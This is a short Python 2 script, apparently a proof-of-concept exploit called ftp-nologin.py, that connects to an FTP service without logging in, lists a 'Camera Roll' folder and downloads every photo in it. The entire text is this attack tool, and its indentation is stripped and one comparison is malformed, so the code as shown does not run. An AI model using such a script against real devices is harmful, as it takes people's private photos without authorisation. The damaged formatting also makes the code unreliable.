import sys
from ftplib import FTP
if len (sys.argv) < = 1 :
print "Usage: ./ftp-nologin.py [host] [port]"
exit()
host = sys.argv[ 1 ]
port = int (sys.argv[ 2 ])
files = []
def append_file(s):
files.append(s.split( ' ' )[ - 1 ])
blocks = []
def get_blocks(d):
blocks.append(d)
ftp = FTP()
print ftp.connect(host, port)
ftp.set_pasv( 1 )
ftp.cwd( "Camera Roll" )
print ftp.retrlines( 'LIST' , append_file)
files.pop( 0 )
for filename in files:
print "Downloading %s..." % filename
ftp.retrbinary( 'RETR /Camera Roll/' + filename, get_blocks)
f = open (filename, 'wb' )
for block in blocks:
f.write(block)
f.close()
print "[+] File saved to: %s" % filename
blocks = []
ftp.quit()
|